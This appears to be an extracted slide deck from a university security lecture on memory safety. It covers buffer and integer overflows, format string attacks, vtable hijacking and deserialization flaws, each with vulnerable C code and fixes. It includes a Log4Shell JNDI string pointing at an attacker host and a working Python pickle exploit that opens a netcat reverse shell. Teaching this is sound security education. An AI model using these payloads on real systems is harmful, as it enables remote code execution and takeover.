Memory Safety Vulnerabilities
CS 161 Spring 2022 - Lecture 4
Computer Science 161
Nicholas Weaver
Announcements
2
Computer Science 161
Nicholas Weaver
Last Time: Buffer Overflows
3
Computer Science 161
Nicholas Weaver
Memory-Safe Code
4
Computer Science 161
Nicholas Weaver
Still Vulnerable Code?
5
void vulnerable?(void) {
char *name = malloc(20);
...
gets(name);
...
}
Heap overflows are also vulnerable!
Computer Science 161
Nicholas Weaver
Solution: Specify the Size
6
void safe(void) {
char name[20];
...
fgets(name, 20, stdin);
...
}
The length parameter specifies the size of the buffer and won’t write any more bytes—no more buffer overflows!
Warning: Different functions take slightly different parameters
Computer Science 161
Nicholas Weaver
Solution: Specify the Size
7
void safer(void) {
char name[20];
...
fgets(name, sizeof(name), stdin);
...
}
sizeof returns the size of the variable (does not work for pointers! Oops)
Computer Science 161
Nicholas Weaver
Vulnerable C Library Functions
8
Computer Science 161
Nicholas Weaver
Integer Memory Safety Vulnerabilities
9
Textbook Chapter 3.4
Computer Science 161
Nicholas Weaver
Signed/Unsigned Vulnerabilities
10
void func(int len, char *data) {
char buf[64];
if (len > 64)
return;
memcpy(buf, data, len);
}
void *memcpy(void *dest, const void *src, size_t n);
int is a signed type, but size_t is an unsigned type. What happens if len == -1?
This is a signed comparison, so len > 64 will be false, but casting -1 to an unsigned type yields 0xffffffff: another buffer overflow!
Is this safe?
Computer Science 161
Nicholas Weaver
Signed/Unsigned Vulnerabilities
11
void safe(size_t len, char *data) {
char buf[64];
if (len > 64)
return;
memcpy(buf, data, len);
}
Now this is an unsigned comparison, and no casting is necessary!
Computer Science 161
Nicholas Weaver
Integer Overflow Vulnerabilities
12
void func(size_t len, char *data) {
char *buf = malloc(len + 2);
if (!buf)
return;
memcpy(buf, data, len);
buf[len] = '\n';
buf[len + 1] = '\0';
}
Is this safe?
What happens if len == 0xffffffff?
len + 2 == 1, enabling a heap overflow!
Computer Science 161
Nicholas Weaver
Integer Overflow Vulnerabilities
13
void safe(size_t len, char *data) {� if (len > SIZE_MAX - 2)
return;
char *buf = malloc(len + 2);
if (!buf)
return;
memcpy(buf, data, len);
buf[len] = '\n';
buf[len + 1] = '\0';
}
It’s clunky, but you need to check bounds whenever you add to integers!
Computer Science 161
Nicholas Weaver
Integer Overflows in the Wild
14
WJXT Jacksonville | |
Broward Vote-Counting Blunder Changes Amendment Result | November 4, 2004 |
The Broward County Elections Department has egg on its face today after a computer glitch misreported a key amendment race, according to WPLG-TV in Miami. Amendment 4, which would allow Miami-Dade and Broward counties to hold a future election to decide if slot machines should be allowed at racetracks, was thought to be tied. But now that a computer glitch for machines counting absentee ballots has been exposed, it turns out the amendment passed. "The software is not geared to count more than 32,000 votes in a precinct. So what happens when it gets to 32,000 is the software starts counting backward," said Broward County Mayor Ilene Lieberman. That means that Amendment 4 passed in Broward County by more than 240,000 votes rather than the 166,000-vote margin reported Wednesday night. That increase changes the overall statewide results in what had been a neck-and-neck race, one for which recounts had been going on today. But with news of Broward's error, it's clear amendment 4 passed. |
Computer Science 161
Nicholas Weaver
Integer Overflows in the Wild
15
Computer Science 161
Nicholas Weaver
Another Integer Overflow in the Wild
16
9 to 5 Linux | |
New Linux Kernel Vulnerability Patched in All Supported Ubuntu Systems, Update Now | |
Marius Nestor | January 19, 2022 |
Discovered by William Liu and Jamie Hill-Daniel, the new security flaw (CVE-2022-0185) is an integer underflow vulnerability found in Linux kernel’s file system context functionality, which could allow an attacker to crash the system or run programs as an administrator. |
Computer Science 161
Nicholas Weaver
How Does This Vulnerability Work?
17
Yes, not a blue slide!
Computer Science 161
Nicholas Weaver
Format String Vulnerabilities
18
Textbook Chapter 3.3
Computer Science 161
Nicholas Weaver
Review: printf behavior
19
Computer Science 161
Nicholas Weaver
Review: printf behavior
20
void func(void) {
int secret = 42;
printf("%d\n", 123);
}
printf assumes that there is 1 more argument because there is one format sequence and will look 4 bytes up the stack for the argument
What if there is no argument?
... | |||
... | |||
... | |||
... | |||
RIP of func | |||
SFP of func | |||
secret = 42 | |||
123 (arg to printf) | |||
&"%d\n"(arg to printf) | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
'%' | 'd' | '\n' | '\0' |
arg0
arg1
Computer Science 161
Nicholas Weaver
Review: printf behavior
21
void func(void) {
int secret = 42;
printf("%d\n");
}
Because the format string contains the %d, it will still look 4 bytes up and print the value of secret!
... | |||
... | |||
... | |||
... | |||
RIP of func | |||
SFP of func | |||
secret = 42 | |||
&"%d\n"(arg to printf) | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
'%' | 'd' | '\n' | '\0' |
arg0
arg1
Computer Science 161
Nicholas Weaver
Format String Vulnerabilities
22
char buf[64];
void vulnerable(void) {
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
What is the issue here?
Computer Science 161
Nicholas Weaver
Format String Vulnerabilities
23
char buf[64];
void vulnerable(void) {
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Computer Science 161
Nicholas Weaver
Format String Vulnerability Walkthrough
24
Note that strings are passed by reference in C, so the argument to printf is actually a pointer to buf, which is in static memory.
char buf[64];
void vulnerable(void) {
char *secret_string = "pancake";
int secret_number = 42;
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
secret_string | |||
secret_number | |||
&buf [arg to printf] | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
buf | |||
'a' | 'k' | 'e' | '\0' |
'p' | 'a' | 'n' | 'c' |
Computer Science 161
Nicholas Weaver
Format String Vulnerability Walkthrough
25
Input: %d%s
char buf[64];
void vulnerable(void) {
char *secret_string = "pancake";
int secret_number = 42;
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Output:
We’re calling printf("%d%s"). printf reads its first argument (arg0), sees two format specifiers, and expects two more arguments (arg1 and arg2).
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
secret_string | |||
secret_number | |||
&buf [arg to printf] | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
arg0
arg1
arg2
'\0' | | | |
'%' | 'd' | '%' | 's' |
'a' | 'k' | 'e' | '\0' |
'p' | 'a' | 'n' | 'c' |
Computer Science 161
Nicholas Weaver
Format String Vulnerability Walkthrough
26
Input: %d%s
char buf[64];
void vulnerable(void) {
char *secret_string = "pancake";
int secret_number = 42;
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Output:
42
The first format specifier %d says to treat the next argument (arg1) as an integer and print it out.
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
secret_string | |||
secret_number | |||
&buf [arg to printf] | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
arg0
arg1
arg2
'\0' | | | |
'%' | 'd' | '%' | 's' |
'a' | 'k' | 'e' | '\0' |
'p' | 'a' | 'n' | 'c' |
Computer Science 161
Nicholas Weaver
Format String Vulnerability Walkthrough
27
Input: %d%s
char buf[64];
void vulnerable(void) {
char *secret_string = "pancake";
int secret_number = 42;
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Output:
42pancake
The second format specifier %s says to treat the next argument (arg2) as an string and print it out.
%s will dereference the pointer at arg2 and print until it sees a null byte ('\0')
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
secret_string | |||
secret_number | |||
&buf [arg to printf] | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
arg0
arg1
arg2
'\0' | | | |
'%' | 'd' | '%' | 's' |
'a' | 'k' | 'e' | '\0' |
'p' | 'a' | 'n' | 'c' |
Computer Science 161
Nicholas Weaver
Format String Vulnerabilities
28
void vulnerable(void) {
char buf[64];
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Computer Science 161
Nicholas Weaver
Format String Vulnerability Walkthrough
29
Input: %d%n
char buf[64];
void vulnerable(void) {
char *secret_string = "pancake";
int secret_number = 42;
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Output:
We’re calling printf("%d%n"). printf reads its first argument (arg0), sees two format specifiers, and expects two more arguments (arg1 and arg2).
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
secret_string | |||
secret_number | |||
&buf [arg to printf] | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
arg0
arg1
arg2
'\0' | | | |
'%' | 'd' | '%' | 'n' |
'a' | 'k' | 'e' | '\0' |
'p' | 'a' | 'n' | 'c' |
Computer Science 161
Nicholas Weaver
Format String Vulnerability Walkthrough
30
Input: %d%n
char buf[64];
void vulnerable(void) {
char *secret_string = "pancake";
int secret_number = 42;
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Output:
42
The first format specifier %d says to treat the next argument (arg1) as an integer and print it out.
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
secret_string | |||
secret_number | |||
&buf [arg to printf] | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
arg0
arg1
arg2
'\0' | | | |
'%' | 'd' | '%' | 'n' |
'a' | 'k' | 'e' | '\0' |
'p' | 'a' | 'n' | 'c' |
Computer Science 161
Nicholas Weaver
Format String Vulnerability Walkthrough
31
Input: %d%n
char buf[64];
void vulnerable(void) {
char *secret_string = "pancake";
int secret_number = 42;
if (fgets(buf, 64, stdin) == NULL)
return;
printf(buf);
}
Output:
42
The second format specifier %n says to treat the next argument (arg2) as a pointer, and write the number of bytes printed so far to the address at arg2.
We've printed 2 bytes so far, so the number 2 gets written to secret_string.
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
secret_string | |||
secret_number | |||
&buf [arg to printf] | |||
RIP of printf | |||
SFP of printf | |||
[printf frame] |
arg0
arg1
arg2
'\0' | | | |
'%' | 'd' | '%' | 'n' |
'a' | 'k' | 'e' | '\0' |
'\x02' | '\x00' | '\x00' | '\x00' |
Computer Science 161
Nicholas Weaver
Format String Vulnerabilities: Defense
32
void vulnerable(void) {
char buf[64];
if (fgets(buf, 64, stdin) == NULL)
return;
printf("%s", buf);
}
Never use untrusted input in the first argument to printf.
Now the attacker can't make the number of arguments mismatched!
Computer Science 161
Nicholas Weaver
Heap Vulnerabilities
33
Textbook Chapter 3.6
Computer Science 161
Nicholas Weaver
Targeting Instruction Pointers
34
Computer Science 161
Nicholas Weaver
C++ vtables
35
Computer Science 161
Nicholas Weaver
C++ vtables
36
x is an object of type ClassX.
y is an object of type ClassY.
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Nicholas Weaver
C++ vtables
37
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
To call a method of y, first follow a pointer on the heap to find the vtable…
ClassX vtable
ClassY vtable
… then follow a pointer in the vtable to find the instructions of the method.
Computer Science 161
Nicholas Weaver
C++ vtables
38
Suppose one of the instance variables of x is a buffer we can overflow.
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Nicholas Weaver
C++ vtables
39
The attacker controls everything above the instance variable of x on the heap, including the vtable pointer for y.
... |
instance variable of y |
address of vtable of y |
... |
... |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Nicholas Weaver
C++ vtables
40
... |
instance variable of y |
address of vtable of y |
address of SHELLCODE |
SHELLCODE |
instance variable of x |
instance variable of x |
address of vtable of x |
Heap
The vtable for y is now a pointer to shellcode. If method foo for y is called, it will execute shellcode!
Heap
... |
address of method bar |
address of method foo |
... |
address of method bar |
address of method foo |
... |
method bar of ClassY |
... |
method foo of ClassY |
... |
... |
method bar of ClassX |
... |
method foo of ClassX |
... |
Code
ClassX vtable
ClassY vtable
Computer Science 161
Nicholas Weaver
Heap Vulnerabilities
41
Computer Science 161
Nicholas Weaver
Use-After-Free in the Wild
42
| |
IE's Role in the Google-China War | |
Richard Adhikari | January 15, 2010 |
The vulnerability in IE is an invalid pointer reference, Microsoft said in security advisory 979352, which it issued on Thursday. Under certain conditions, the invalid pointer can be accessed after an object is deleted, the advisory states. In specially crafted attacks, like the ones launched against Google and its customers, IE can allow remote execution of code when the flaw is exploited. |
Computer Science 161
Nicholas Weaver
Most Dangerous Software Weaknesses (2020)
43
Rank | ID | Name | Score |
[1] | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 46.82 | |
[2] | Out-of-bounds Write | 46.17 | |
[3] | Improper Input Validation | 33.47 | |
[4] | Out-of-bounds Read | 26.50 | |
[5] | Improper Restriction of Operations within the Bounds of a Memory Buffer | 23.73 | |
[6] | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 20.69 | |
[7] | Exposure of Sensitive Information to an Unauthorized Actor | 19.16 | |
[8] | Use After Free | 18.87 | |
[9] | Cross-Site Request Forgery (CSRF) | 17.29 | |
[10] | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 16.44 | |
[11] | Integer Overflow or Wraparound | 15.81 | |
[12] | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | 13.67 | |
[13] | NULL Pointer Dereference | 8.35 | |
[14] | Improper Authentication | 8.17 | |
[15] | Unrestricted Upload of File with Dangerous Type | 7.38 | |
[16] | Incorrect Permission Assignment for Critical Resource | 6.95 | |
[17] | Improper Control of Generation of Code ('Code Injection') | 6.53 |
Computer Science 161
Nicholas Weaver
Serialization
44
No textbook chapter (yet!)
Computer Science 161
Nicholas Weaver
Serialization in Java and Python
45
Computer Science 161
Nicholas Weaver
Log4Shell Vulnerability
46
| |
What's the Deal with the Log4Shell Security Nightmare? | |
Nicholas Weaver | December 10, 2021 |
We live in a strange world. What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a Minecraft server or client, has now resulted in a 5-alarm security panic as administrators and developers all over the world desperately try to fix and patch systems before the cryptocurrency miners, ransomware attackers and nation-state adversaries rush to exploit thousands of software packages. |
Computer Science 161
Nicholas Weaver
Using Serialization
47
Computer Science 161
Nicholas Weaver
Serialization Vulnerabilities in pickle (Python)
48
Computer Science 161
Nicholas Weaver
A pickle (Python) exploit: Yes, it's that easy!
import pickle, base64, os��class RCE:� def __reduce__(self):� cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '� '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')� return os.system, (cmd,)��if __name__ == '__main__':� # Saves the hostile object as a pickled string� pickled = pickle.dumps(RCE())� # encodes this for the particular target program which expects a� # base64 encoded object.� print(base64.urlsafe_b64encode(pickled))
49
Computer Science 161
Nicholas Weaver
Serialization Vulnerabilities in Java
50
Computer Science 161
Nicholas Weaver
Log4j
51
Computer Science 161
Nicholas Weaver
Log4j and JNDI (Java Naming & Directory Interface)
52
Computer Science 161
Nicholas Weaver
Serialization: Detection and Defenses
53
Computer Science 161
Nicholas Weaver
Summary: Memory Safety Vulnerabilities
54
Computer Science 161
Nicholas Weaver